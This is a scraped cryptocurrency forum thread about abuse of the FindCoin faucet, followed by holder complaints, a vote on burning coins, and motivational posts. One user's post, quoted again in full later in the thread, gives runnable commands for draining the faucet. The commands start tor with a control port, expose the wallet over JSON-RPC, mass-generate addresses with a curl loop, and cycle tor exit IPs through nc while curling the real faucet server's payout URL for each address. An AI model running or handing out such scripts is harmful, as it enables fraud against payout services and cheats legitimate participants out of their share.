[ANN][FIND] FindCoin | Update Wallet If You Haven't! | Community Anti-Scam Token

[Brah]

I PM'ed most of the devs about a sensitive info leak in the debug.log file on the 27th Dec
https://i.imgur.com/gtkGBMg.png

This allows anyone with a bunch of addresses in their wallet to make a ton of request to http://104.236.75.141:1532/findcoin/get/$address and everyone would be none the wiser thinking those requests came from actual wallets, rather than lets say curl over tor which I will demonstrate bellow.

Due to sloppy programming, no SSL, no special 'secret' parameters exchanged between the wallet and the faucet service and no IP filtering it is trivial to simulate the request the actual wallet makes with a bit of bash, curl and tor.

First start tor with the --controlport 9051 flag so we can request a new exit node by sending the 'newnym' signal

Code:

/path/to/tor --controlport 9051 &

Next we need a bunch of addresses. Since there is no command line version of the FindCoin wallet this is a bit inconvenient but still trivial to do with one command.
First edit ~/.FindCoin/FindCoin.conf to become a JSON-RPC service and restart the wallet

Code:

rpcuser=user
rpcpassword=p
rpcallowip=127.0.0.1
rpcport=13333
listen=1
server=1

Then simply send the getnewaddress jsonrpc command to the wallet's rpc port over and over again until you're fed up with it

Code:

 while true;do curl --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getnewaddress","params":[]}' -H 'content-type:text/plain;' -s http://user:p@127.0.0.1:13333/ | awk -F'"' '{print $4}' >> addresses;done

This will write indefinite amount of addresses until ctrl+c'ed to a file named addresses.

Now we simply loop over each address and make requests to the faucet url requesting a new exit tor node after each request

Code:

while read address;do (echo authenticate '""'; echo signal newnym; echo quit) | nc 127.0.0.1 9051;curl --socks5 127.0.0.1:9050 http://104.236.75.141:1532/findcoin/get/$address;sleep 10;done < addresses

And presto you make as many requests to the faucet url as you have addresses over tor, with a new IP between each request. No VMs, no proxies, no extra wallets.

we now can rename this coin to failcoin. byebye people

Yep, yet these skids are pointing their finger towards VPS users when it wasnt it.

http://www.popcrunch.com/wp-content/uploads/2010/12/bowl.jpg

[1714671325]

1714671325

[1714671325]

1714671325

[548845]

I PM'ed most of the devs about a sensitive info leak in the debug.log file on the 27th Dec
https://i.imgur.com/gtkGBMg.png

This allows anyone with a bunch of addresses in their wallet to make a ton of request to http://104.236.75.141:1532/findcoin/get/$address and everyone would be none the wiser thinking those requests came from actual wallets, rather than lets say curl over tor which I will demonstrate bellow.

Due to sloppy programming, no SSL, no special 'secret' parameters exchanged between the wallet and the faucet service and no IP filtering it is trivial to simulate the request the actual wallet makes with a bit of bash, curl and tor.

First start tor with the --controlport 9051 flag so we can request a new exit node by sending the 'newnym' signal

Code:

/path/to/tor --controlport 9051 &

Next we need a bunch of addresses. Since there is no command line version of the FindCoin wallet this is a bit inconvenient but still trivial to do with one command.
First edit ~/.FindCoin/FindCoin.conf to become a JSON-RPC service and restart the wallet

Code:

rpcuser=user
rpcpassword=p
rpcallowip=127.0.0.1
rpcport=13333
listen=1
server=1

Then simply send the getnewaddress jsonrpc command to the wallet's rpc port over and over again until you're fed up with it

Code:

 while true;do curl --data-binary '{"jsonrpc":"1.0","id":"curltext","method":"getnewaddress","params":[]}' -H 'content-type:text/plain;' -s http://user:p@127.0.0.1:13333/ | awk -F'"' '{print $4}' >> addresses;done

This will write indefinite amount of addresses until ctrl+c'ed to a file named addresses.

Now we simply loop over each address and make requests to the faucet url requesting a new exit tor node after each request

Code:

while read address;do (echo authenticate '""'; echo signal newnym; echo quit) | nc 127.0.0.1 9051;curl --socks5 127.0.0.1:9050 http://104.236.75.141:1532/findcoin/get/$address;sleep 10;done < addresses

And presto you make as many requests to the faucet url as you have addresses over tor, with a new IP between each request. No VMs, no proxies, no extra wallets.

we now can rename this coin to failcoin. byebye people

Yep, yet these skids are pointing their finger towards VPS users when it wasnt it.

http://www.popcrunch.com/wp-content/uploads/2010/12/bowl.jpg

Yep, ask the dev team how many coins they scammed out of the legal FindYouCoins owners....

[Quadmium]

Vote is here: https://bitcointalk.org/index.php?topic=910642

[mumak]

Scammers don't like anti-scam coins and they do anything to kill them. The question is what can be done from here to succeed coin and achieve your goals?

PS. Voted!

[DenKoma]

Really, really, really great posts here. Want to see who is who overnight = leave thread for 24 hours 

[Hollowman338]

burn the coins

[doger69]

I must say just burn the coins,who even cares anymore.I was robbed by the process as well as the cheater pieces of sht who used VPNs and other methods.I had 20k coins and now get a whole 6k instead,sorry but its hard to stay very optimistic or positive about it all when I have already been screwed out of 14 k coins.Burn the rest and get the coin on an exchange.

[kepo07]

burn the coins

agreed

agree already vote for burn the funds on faucet

[e1ghtSpace]

I PM'ed most of the devs about a sensitive info leak in the debug.log file on the 27th Dec

No one told me.

[uki]

Now with distribution stopped, how long does it take to process the exchange from old FinYouCoin to FindCoin? Just sent a txid today.

[DenKoma]

Now with distribution stopped, how long does it take to process the exchange from old FinYouCoin to FindCoin? Just sent a txid today.

All pending requests (including today's) have been processed now.

[uki]

Now with distribution stopped, how long does it take to process the exchange from old FinYouCoin to FindCoin? Just sent a txid today.

All pending requests (including today's) have been processed now.

coins received, thank you.

[SHNICI]

Now with distribution stopped, how long does it take to process the exchange from old FinYouCoin to FindCoin? Just sent a txid today.

All pending requests (including today's) have been processed now.

coins received, thank you.

We do all what's possible for us
We work on all hard to be the community fine, we want to take the best decisions.... but like we know always will have people who are not happy ..., sorry for them, but we can't do everything WE ARE NOT GODs Please ALL decide to stop blame us, we are humans.., but we try to work for the community no just for us (for us like part from the community yes!)

[Nthused]

I have to say this is completely ridiculous, there will always be cheaters and they will dump the minute it gets onto an exchange because its free, the best way to get heaps of FINDcoins is by buying the old FINDyoucoin on c-cex (https://c-cex.com/?p=find-btc) and then exchanging them & start staking, you would have more coins that the cheaters out there.

I was kinda disappointed thinking yesterday I was still receiving FINDcoins to my wallet (Not using the computer) when really I wasn't due to the Faucet being stopped...

I have noticed with the payouts too that the Faucet was stopping heaps and they had to reboot it back up, I was missing hours of payments then they would start up again then oddly miss 1hr Payments sometimes even when the wallet has been open 24/7 since launch.

Maybe PoF doesn't work properly, but when you think of it all the people manipulating the faucet getting heaps of coins (whales) could possible pump the coin and the people who want out can sell before them lol  

I think I know what is actually happening as before it was decided that the source would be closed there was still Github links so you could download it, then the Dev's decided to do a vote and decided to close it to prevent cheating and take it down, if you were smart enough you would have got the source then gone through it and edited all the stuff for cheating back in.

No matter what the dev's do to stop it the manipulators can edit in what they want to counter it's effect.

Even selecting a certain amount of people and handing them out the coins would still be better than cheating the faucet, e.g Post count/Member rank status/Length of BTCtalk membership, Full member and up, etc

That would stop shillers and scammers if handed out to the right people.

These are just my thoughts and no-one has to agree with them but this is what I think is happening and what should happen.

EDIT: BTW I just found the old FINDyoucoin source that wasn't taken down that people can just change the values to the relaunched FINDcoin...

[fenghush]

I have to say this is completely ridiculous, there will always be cheaters and they will dump the minute it gets onto an exchange because its free, the best way to get heaps of FINDcoins is by buying the old FINDyoucoin on c-cex (https://c-cex.com/?p=find-btc) and then exchanging them & start staking, you would have more coins that the cheaters out there.

I was kinda disappointed thinking yesterday I was still receiving FINDcoins to my wallet (Not using the computer) when really I wasn't due to the Faucet being stopped...

I have noticed with the payouts too that the Faucet was stopping heaps and they had to reboot it back up, I was missing hours of payments then they would start up again then oddly miss 1hr Payments sometimes even when the wallet has been open 24/7 since launch.

Maybe PoF doesn't work properly, but when you think of it all the people manipulating the faucet getting heaps of coins (whales) could possible pump the coin and the people who want out can sell before them lol  

I think I know what is actually happening as before it was decided that the source would be closed there was still Github links so you could download it, then the Dev's decided to do a vote and decided to close it to prevent cheating and take it down, if you were smart enough you would have got the source then gone through it and edited all the stuff for cheating back in.

No matter what the dev's do to stop it the manipulators can edit in what they want to counter it's effect.

Even selecting a certain amount of people and handing them out the coins would still be better than cheating the faucet, e.g Post count/Member rank status/Length of BTCtalk membership, Full member and up, etc

That would stop shillers and scammers if handed out to the right people.

These are just my thoughts and no-one has to agree with them but this is what I think is happening and what should happen.

EDIT: BTW I just found the old FINDyoucoin source that wasn't taken down that people can just change the values to the relaunched FINDcoin...

Thankfully FindCoin is based on the bitcoin source so people can't just edit the source to get coins, that's why we have a blockchain. The POF works by making a HTTP request from the wallet to a remote server which the devs control to let it know what address to send the coins to every few minutes or so. The central faucet server was abused by a botnet due to poor implementation and lack of common sense for security. Keeping the source private has nothing to do with this.

[Sarahiko]

Voted for burning of the coin and continue with the PO.

[infovortice2013]

Now with distribution stopped, how long does it take to process the exchange from old FinYouCoin to FindCoin? Just sent a txid today.

All pending requests (including today's) have been processed now.

coins received, thank you.

We do all what's possible for us
We work on all hard to be the community fine, we want to take the best decisions.... but like we know always will have people who are not happy ..., sorry for them, but we can't do everything WE ARE NOT GODs Please ALL decide to stop blame us, we are humans.., but we try to work for the community no just for us (for us like part from the community yes!)

making your own miraclecoin?

[SHNICI]

Now with distribution stopped, how long does it take to process the exchange from old FinYouCoin to FindCoin? Just sent a txid today.

All pending requests (including today's) have been processed now.

coins received, thank you.

We do all what's possible for us
We work on all hard to be the community fine, we want to take the best decisions.... but like we know always will have people who are not happy ..., sorry for them, but we can't do everything WE ARE NOT GODs Please ALL decide to stop blame us, we are humans.., but we try to work for the community no just for us (for us like part from the community yes!)

making your own miraclecoin?

I will keep my MCL wallet opened..., from the beginning I take it UP 24/7, and will do it.., don't know why.., but people was ask me for nodes ...., I hope.., I trust in some thing and no one can judge me about that..., MCL is different part from FindYou and FIND ! I will folow FIND to the END, cuz I was reborn in the virtual Coin system from the MCL..., and I hope here can do something good, no only take part from the sweet ..., here we can be better in something else..., here we can help to other who need really ...., I will follow the FIND IDEA To the END.., and will NEVER GIVE UP !!!

Take a rest mates, be cool 

[hobitcoin]

I need to say something here ...

Regarding the events that are flowing and leading to this point at the present time ...

I'm sure ... if something is mean to be ... "It is" ...

Also, I found out (by reading all of the posts here) ...

That ... our FindCoin community has lots of smart, opinionated, strong will and brave people ...

I thank you for becoming part of FindCoin Community ...

I hope that all of the strong and brave people here ...

Will not change their unwavering "Positive" will ...

To become "Hatred" ... and a negative one ...

Instead ... it should be becoming the force of "Good" ...

And making our community "Stronger" as can be ...

Because ... We are "One" ...

And ... We are "Strong" ...

[windytime]

I need to say something here ...

Regarding the events that are flowing and leading to this point at the present time ...

I'm sure ... if something is mean to be ... "It is" ...

Also, I found out (by reading all of the posts here) ...

That ... our FindCoin community has lots of smart, opinionated, strong will and brave people ...

I thank you for becoming part of FindCoin Community ...

I hope that all of the strong and brave people here ...

Will not change their unwavering "Positive" will ...

To become "Hatred" ... and a negative one ...

Instead ... it should be becoming the force of "Good" ...

And making our community "Stronger" as can be ...

Because ... We are "One" ...

And ... We are "Strong" ...

I wish there was a "like" button on this bitcointalk.
Every digital coin has its weak point, even for bitcoin. But what makes it strong and get over the storm? It's the belief. If we stand together, we'll be strong and positive.

There are some people who don't believe in anything in their whole life. Poor them. Sometime, believing is a gift. If you don't believe in the way you walk, the person you choose, the time you'll be, you will lose everything. Try to believe, one time, you'll see something you've never seen.

If you want, we can stand by you, and build a strong community!